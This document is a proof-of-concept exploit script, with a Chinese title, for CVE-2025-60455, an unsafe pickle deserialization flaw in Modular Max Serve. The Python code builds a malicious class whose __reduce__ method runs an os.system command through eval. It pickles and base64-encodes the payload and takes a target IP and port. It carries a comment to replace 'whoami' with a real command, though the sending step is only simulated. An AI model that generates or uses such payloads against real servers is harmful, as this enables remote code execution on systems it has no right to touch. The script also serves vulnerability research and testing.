CVE-2025-60455 Modular Max Serve不安全反序列化远程代码执行漏洞

# CVE-2025-60455 PoC - Unsafe Deserialization in Modular Max Serve # This PoC demonstrates the unsafe deserialization vulnerability # Target: Modular Max Serve with --experimental-enable-kvcache-agent enabled import pickle import sys import base64 class MaliciousPayload: """ Malicious class that executes arbitrary code during deserialization. This exploits the __reduce__ method to achieve RCE. """ def __reduce__(self): # Replace with actual command to execute on target cmd = "whoami" # Example command return (eval, (f"__import__('os').system('{cmd}')",)) def generate_payload(): """Generate malicious pickle payload""" payload = pickle.dumps(MaliciousPayload()) return base64.b64encode(payload).decode('utf-8') def exploit(target_ip, target_port): """ Exploit the unsafe deserialization vulnerability Assumes attacker has local access to the system where Max Serve is running """ payload = generate_payload() # Construct the malicious serialized data # In real attack, this would be sent to the kvcache_agent endpoint print(f"[*] Generated malicious payload: {payload[:50]}...") print(f"[*] Payload length: {len(payload)} bytes") print(f"[!] This payload will execute: whoami command on deserialization") print(f"[*] Target: {target_ip}:{target_port}") print("[*] Sending payload...") # Simulate sending the payload # In practice, this would be sent via the kvcache_agent interface return payload if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = sys.argv[2] exploit(target_ip, target_port)